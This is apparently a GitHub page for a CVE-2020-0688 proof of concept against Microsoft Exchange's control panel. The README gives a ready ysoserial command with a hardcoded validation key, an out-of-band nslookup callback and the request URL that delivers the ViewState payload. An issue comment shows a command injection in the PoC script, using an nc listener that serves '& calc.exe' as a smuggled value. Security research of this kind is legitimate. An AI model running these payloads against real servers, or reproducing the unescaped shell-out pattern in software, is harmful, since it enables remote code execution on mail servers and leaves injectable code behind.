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cve-2020-0688's Introduction

cve-2020-0688

cve-2020-0688

Login with a user with an email address privliage is nothing to worry about.

Grab - __VIEWSTATEGENERATOR from page source Grab - the value of ASP.NET_SessionId cookie for viewstateuserkey value

Download YSO Here

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

GET TO:

https://localhost/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

The Exploit.py is untested and need a demo system to fire up and play with.

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cve-2020-0688's Issues

Yo dawg

I made a PoC for your PoC so I can pop shells while you pop shells:

echo '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: localhost
Cookie: ASP.NET_SessionId=test-sess-id Time

<html>id="__VIEWSTATEGENERATOR" value="& calc.exe"</html>

''' |sudo nc -l 80

Assuming you're running your PoC as python3 exploit.py -s http://localhost/ -u admin -p admin and blindly running that, the output command becomes:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey=& calc.exe --generator="B97B4E27" --viewstateuserkey=test-sess-id --isdebug –islegacy
which pops calc. I know this is totally outside the scope of this little PoC but I just got a kick out of it. Python has some really nice utils for shelling out while also escaping params:
https://docs.python.org/3/library/subprocess.html#subprocess.run

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